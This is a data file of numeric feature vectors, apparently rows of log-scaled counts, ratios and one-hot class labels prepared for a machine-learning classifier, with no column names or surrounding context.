+0,0,0,0,0,0,0,0,0,0,1,8.91234,5.37528,34.5209,4.91998,0,4.95778,0.186047,0.0837209,0,0.0681757,0.544186,0,0,0,0,0,0,3.49651,0,0,0,0,0,0,0,0,0,0,0,2.07944,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.88857,3.3673,35,4.5326,0,5.46647,0.25,0.142857,0,0.0653061,0.642857,0,0,0,0,0,0,4.11087,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.82659,5.51343,27.5789,4.70048,0,5.06602,0.0728745,0.105263,0,0.0753083,0.396761,0,0,0,0,0,0,3.80666,1.94591,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.76089,4.06044,41.1579,4.34381,0,4.90702,0.22807,0.22807,0,0.0110827,0.0877193,0.693147,0,0,0,0.693147,0,3.71357,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.27487,4.74493,34.4123,4.70048,0,4.90942,0.105263,0.105263,0,0.027275,0.0175439,0,0,0,0,0,0,3.97029,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.32845,4.92725,30.2117,4.46591,0,5.22453,0.211679,0.160584,0,0.0558106,0.49635,0,0,0,0,0,0,3.61092,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.11233,4.17439,19.1562,4.55388,0,4.89729,0.140625,0.09375,0,0.0301794,0.21875,0,0,0,0,0,0,3.21888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.11477,3.52636,37.2424,4.99043,0,5.25171,0.484848,0.0909091,0,0.0211554,0.151515,0,0,0,0,0,0,3.49651,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.45205,3.4012,21.8276,4.14313,0,4.64015,0.241379,0.172414,0,0.0868878,0.62069,0,0,0,0,0,0,2.70805,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,1,0,0,1,1,12.7161,9.34461,29.1232,5.0876,0,5.00118,0.183281,0.113764,0,0.047614,0.497552,2.48491,2.07944,0,0,1.79176,0.693147,4.83628,4.89035,0,0,0,1.38629,0,0,0,0,0,0,2.83321,0,0,0,0,0,0,0,0,0,0,0,3.4012,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.64545,2.56495,23.5,4.07754,0,4.93555,0,0.166667,0,0.12766,0.833333,0,0,0,0,0,0,3.4012,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,1,0,0,0,0,0,0,0,7.05704,3.52636,35.1515,5.35659,0,4.74828,0.030303,0.333333,0,0.0258621,0,0.693147,0.693147,0,0,0.693147,0,3.71357,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.50411,4.98361,34.0276,4.78749,0,4.82575,0.0551724,0.206897,0,0.0346575,0.00689655,0.693147,0,0,0,0.693147,0,4.23411,2.30259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.98564,4.21951,16.1194,4.2485,0,4.89499,0,0.0746269,0,0.0972222,0.447761,0,0,0,0,0,0,2.99573,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.3845,2.19722,27.125,4.23411,0,5.02205,0.125,0,0,0.0506912,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.38981,5.2832,22.4541,5.0626,0,5.23616,0.122449,0.0663265,0,0.0658941,0.443878,0,0,0,0,0,0,3.8712,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.1203,3.21888,18.9167,4.21951,0,5.00535,0.25,0.166667,0,0.0462555,0.25,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.3464,4.82028,34.2602,4.54329,0,5.03345,0.268293,0.0243902,0,0.0581395,0.471545,0.693147,0,0,0,0.693147,0,3.95124,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.0275,6.52796,33.1464,4.46591,0,4.71849,0.0468521,0.200586,0,0.0467777,0,0,0,0,0,0,0,4.18965,5.16479,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.96035,3.8712,22.4043,4.46591,0,4.69949,0.0212766,0.191489,0,0.127255,0.787234,0,0,0,0,0,0,3.3673,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.32972,3.04452,28,4.23411,0,5.28742,0,0.15,0,0.107143,0.25,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,9.62767,5.91889,40.9111,4.47734,0,4.39591,0.132075,0.102426,0,0.0268151,0.00269542,1.09861,0.693147,0,0,1.09861,0,3.93183,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.86711,4.76217,22.4914,4.34381,0,5.27123,0.181034,0.0862069,0,0.0559601,0.422414,0,0,0,0,0,0,3.46574,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.62402,2.56495,23,4.02535,0,4.90517,0,0.166667,0,0.130435,0.833333,0,0,0,0,0,0,3.29584,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.56834,2.19722,32.625,4.23411,0,5.09726,0.125,0,0,0.0421456,0.125,0,0,0,0,0,0,3.73767,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.53228,5.01064,34.0604,4.63473,0,4.0714,0,0.0671141,0,0.0336946,0,0,0,0,0,0,0,4.17439,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.7216,5.3799,28.3935,4.38203,0,4.38982,0.0694444,0.231481,0,0.0300016,0,0.693147,0.693147,0,0,0.693147,0,3.80666,2.63906,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.79176,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.64108,4.18965,32.0154,4.38203,0,5.15959,0.276923,0.215385,0,0.0336377,0.246154,0.693147,0,0,0,0.693147,0,3.71357,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.89275,5.63121,26.1799,4.70048,0,5.10613,0.111511,0.104317,0.000549602,0.082028,0.651079,0,0,0,0,0,0,3.73767,2.07944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.77765,2.56495,26.8333,4.36945,0,4.92741,0,0.166667,0,0.111801,0.833333,0,0,0,0,0,0,3.91202,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.94236,4.29046,39.0694,4.36945,0,5.31781,0.388889,0.0833333,0,0.00568788,0.0277778,0,0,0,0,0,0,3.29584,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.41165,2.19722,27.875,4.23411,0,5.05734,0.125,0,0,0.0493274,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.62141,3.21888,31.25,4.49981,0,4.97882,0.375,0.0416667,0,0.0226667,0,0,0,0,0,0,0,4.12713,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.03943,5.89164,23.3463,4.62497,0,5.01412,0.0249307,0.152355,0.032748,0.0404604,0.138504,0,0,0,0,0,0,3.63759,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,1,0,0,0,0,9.25799,5.88888,29.1306,4.7185,0,5.11611,0.288889,0.0694444,0,0.0660818,0.516667,0,0,0,0,0,0,4.40672,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.40268,2.19722,27.625,4.23411,0,5.00626,0.125,0,0,0.0497738,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.94755,6.60394,28.3582,4.39445,0,5.28523,0.166893,0.147897,0,0.0110526,0.0027137,1.09861,1.09861,0,0,1.09861,0.693147,4.36945,2.89037,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.81278,4.8752,19.0077,4.48864,0,4.53977,0.0615385,0.207692,0,0.0445164,0.215385,0,0,0,0,0,0,3.68888,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.62938,6.27664,28.6328,4.54329,0,5.18285,0.154426,0.116761,0,0.0469613,0.376648,1.79176,0,0,0,1.09861,0,4.02535,2.30259,0,0,0.693147,1.09861,0,0,0,0,0,0,1.60944,0,0,0,0,0,0,0,0,0,0,0,1.79176,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.39526,3.17805,26,4.11087,0,5.24405,0,0.130435,0,0.110368,0.217391,0,0,0,0,0,0,3.29584,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.42595,3.80666,38.1364,4.34381,0,5.11941,0.295455,0.272727,0,0.0184744,0.113636,0.693147,0,0,0,0.693147,0,3.71357,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.06464,4.7185,28.6396,4.43082,0,4.69582,0.045045,0.189189,0,0.0871343,0.00900901,0,0,0,0,0,0,3.82864,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,1,1,0,0,0,0,0,0,1,5.92158,2.48491,33.8182,4.44265,0,4.90537,0.181818,0.0909091,0,0.0107527,0.0909091,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.56312,5.24702,27.6931,4.39445,0,4.93031,0.185185,0.137566,0,0.0338173,0.232804,0.693147,0,0,0,0.693147,0,3.80666,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.46821,4.79579,39.6667,7.32975,0.0166667,5.12284,0.05,0.0666667,0,0.0768908,0.725,0,0,0,0,0,0,5.44242,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.75926,3.3673,30.75,4.51086,0,5.01747,0.142857,0.0357143,0,0.0813008,1.14286,0,0,0,0,0,0,3.89182,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.74481,5.03695,41.0261,4.78749,0,5.47374,0.163399,0.0980392,0,0.0329775,0.503268,0.693147,0,0,0,0.693147,0,4.52179,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.86121,5.69036,23.9051,4.47734,0,5.44014,0.125424,0.152542,0,0.0466534,0.274576,1.09861,1.09861,0,0,0.693147,0,3.89182,1.94591,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.5868,3.78419,45.8372,4.60517,0,4.61613,0.511628,0.0465116,0,0.049721,0.790698,0,0,0,0,0,0,3.82864,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.30827,1.79176,40.2,4.33073,0,4.92172,0,0.2,0,0.0248756,0,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,6.83948,3.52636,28.2727,4.26268,0,4.91584,0.0606061,0.242424,0,0.0310825,0.030303,0,0,0,0,0,0,3.71357,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.30653,4.00733,27.5741,4.47734,0,4.55261,0.037037,0.222222,0,0.051041,0,0,0,0,0,0,0,3.80666,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.74197,3.21888,95.9167,5.1299,0,5.45084,0.25,0,0,0.0642919,0.666667,0,0,0,0,0,0,4.14313,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.88307,4.55388,28.2021,4.38203,0,5.35099,0.212766,0.0851064,0,0.078461,0.43617,0,0,0,0,0,0,4.38203,3.29584,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.74524,3.3673,30.3214,4.47734,0,4.99843,0.142857,0.0357143,0,0.0824499,1.14286,0,0,0,0,0,0,3.82864,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.55789,6.2672,26.9106,4.39445,0,5.44183,0.19962,0.106464,0,0.00565171,0.00380228,0,0,0,0,0,0,4.36945,2.30259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.33754,2.19722,25.875,4.23411,0,5.05534,0.125,0,0,0.0531401,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,1,0,0,0,0,8.86827,5.40717,31.991,5.01064,0,4.82819,0.135135,0.108108,0,0.0392847,0.378378,0,0,0,0,0,0,3.97029,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.31522,3.78419,34.9302,4.70953,0,5.07872,0.116279,0.255814,0.00798935,0.0299601,0.209302,0,0,0,0,0,0,3.78419,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.3864,7.1452,25.5848,5.22036,0,4.79497,0.111287,0.143646,0,0.0535846,0.320442,1.79176,1.09861,0,0,1.60944,0,4.83628,3.8712,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,2.83321,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.33683,3.04452,28.2,4.23411,0,5.28358,0,0.15,0,0.106383,0.25,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,8.85209,5.63121,25.1367,5.31321,0,5.45035,0.107914,0.169065,0,0.0591013,0.374101,0.693147,0.693147,0,0,0.693147,0,3.68888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.34233,2.07944,29.7143,4.17439,0,5.14381,0,0,0,0.0961538,0,0,0,0,0,0,0,3.73767,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,5.61677,2.56495,22.8333,4.00733,0,4.89319,0,0.166667,0,0.131387,0.833333,0,0,0,0,0,0,3.2581,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.8482,7.51371,28.0775,4.56435,0,5.24511,0.170306,0.187773,0,0.00847622,0.0010917,0,0,0,0,0,0,4.36945,4.63473,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.52559,6.01859,33.4268,4.63473,0,5.12742,0.234146,0.165854,0,0.00722364,0.00487805,0,0,0,0,0,0,4.36945,2.77259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.68586,3.29584,30.7692,4.48864,0,5.01192,0,0.153846,0,0.08625,0.5,0,0,0,0,0,0,3.3322,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.1317,3.82864,27.7778,4.45435,0,4.78543,0.155556,0.2,0,0.0184,0,0,0,0,0,0,0,3.58352,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.86693,3.58352,27.4,4.38203,0,5.25044,0.428571,0.114286,0,0.0302398,0.257143,0,0,0,0,0,0,3.29584,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.34233,2.07944,29.7143,4.17439,0,5.14381,0,0,0,0.0961538,0,0,0,0,0,0,0,3.73767,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,8.67863,5.6058,21.679,4.29046,0,4.90459,0.129151,0.0885609,0,0.0469787,0.398524,0.693147,0,0,0,0.693147,0,3.73767,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,6.24804,2.56495,43,4.72739,0,4.69455,0,0.0833333,0,0.00775194,0,0.693147,0,0,0,0.693147,0.693147,4.27667,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.70711,2.48491,27.2727,4.40672,0,4.68355,0.272727,0,0,0.0433333,0.454545,0,0,0,0,0,0,3.4012,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.97639,5.56834,30.318,4.55388,0,4.55714,0.00383142,0.168582,0,0.0322255,0.0114943,0,0,0,0,0,0,4.27667,2.56495,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.64379,3.09104,36.5238,5.35659,0,4.93939,0,0.285714,0,0.0873533,0.952381,0,0,0,0,0,0,4.40672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,7.67555,4.31749,29.1081,4.46591,0,5.11953,0.283784,0.162162,0,0.038533,0.378378,0,0,0,0,0,0,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.7413,5.42495,27.677,4.45435,0,4.60857,0.0929204,0.221239,0,0.0382094,0,0,0,0,0,0,0,4.38203,3.04452,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.1414,6.73221,30.2757,4.81218,0,5.22332,0.175418,0.243437,0,0.00744945,0.00238663,0.693147,0.693147,0,0,0.693147,0,4.36945,4.02535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.32972,3.04452,28,4.23411,0,5.2904,0,0.15,0,0.107143,0.25,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,7.09838,3.7612,28.7857,4.52179,0,5.0659,0.0952381,0.166667,0,0.0454921,0.190476,0.693147,0,0,0,0.693147,0,4.30407,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,11.2177,7.34343,48.1773,4.69135,0,4.13383,0.00453074,0.0122977,0,0.0735551,0.023301,0,0,0,0,0,0.693147,4.00733,2.3979,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.66696,3.3673,28.0357,4.27667,0,4.99353,0.142857,0.0357143,0,0.089172,1.14286,0,0,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.04558,5.79909,25.7751,4.36945,0,5.15698,0.155015,0.0516717,0,0.0563679,0.364742,0,0,0,0,0,0,4.36945,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.20276,4.85981,28.5156,4.49981,0,4.99609,0.304688,0.0625,0,0.0465753,0.304688,0,0,0,0,0,0,3.61092,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.07652,4.76217,27.7328,5.34711,0,5.13856,0.0603448,0.0775862,0,0.0668325,0.62931,0,0,0,0,0,0,4.77068,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.3072,4.12713,24.4262,4.85203,0,5.11317,0.229508,0.131148,0,0.0630872,0.590164,0,0,0,0,0,0,3.8712,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.8533,2.99573,49.7895,5.98896,0.0526316,5.05759,0.0526316,0.0526316,0,0.0348837,0.368421,0,0,0,0,0,0,5.3845,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.47543,3.17805,28.1739,4.5326,0,4.98961,0,0.26087,0,0.095679,0,0,0,0,0,0,0,3.21888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,1,0,0,0,0,0,0,0,8.00169,4.56435,31.4211,4.96284,0,5.41069,0.189474,0.0631579,0,0.0241206,0.221053,1.09861,0.693147,0,0,1.09861,0.693147,4.34381,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.591,5.26269,28.0312,4.43082,0,5.04325,0.15625,0.0729167,0,0.0395764,0.317708,1.09861,0,0,0,1.09861,0,4.06044,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.79176,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.38907,2.07944,31.1429,4.2485,0,5.14543,0,0,0,0.0917431,0,0,0,0,0,0,0,3.85015,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,6.93342,3.58352,29.2857,4.35671,0,5.20946,0.114286,0.114286,0,0.0829268,0.771429,1.09861,0,0,0,1.09861,0,4.23411,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.70644,6.11589,36.3319,4.67283,0,4.23246,0.0309735,0.146018,0,0.0215564,0,0,0,0,0,0,0,3.89182,3.21888,1.09861,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.65157,3.3673,27.6071,4.23411,0,4.96262,0.142857,0.0357143,0,0.0905563,1.14286,0,0,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.74406,3.4012,29.2414,4.72739,0,4.78749,0,0.172414,0,0.0601415,0.275862,0,0,0,0,0,0,3.2581,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.1103,5.90808,24.6512,4.39445,0,5.14968,0.141689,0.128065,0,0.0778159,0.324251,0,0,0,0,0,0,3.93183,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.41165,2.19722,27.875,4.06044,0,4.76036,0,0,0,0.0717489,0.5,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,1,1,0,0,0,0,0,0,0,7.34407,3.58352,44.1714,4.8828,0,5.1464,0.0857143,0.171429,0,0.0446313,0.857143,0.693147,0,0,0,0.693147,0,4.15888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.42902,5.0814,28.6062,4.34381,0,4.89918,0.1125,0.1125,0,0.0642342,0.64375,0.693147,0,0,0,0.693147,0,3.71357,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 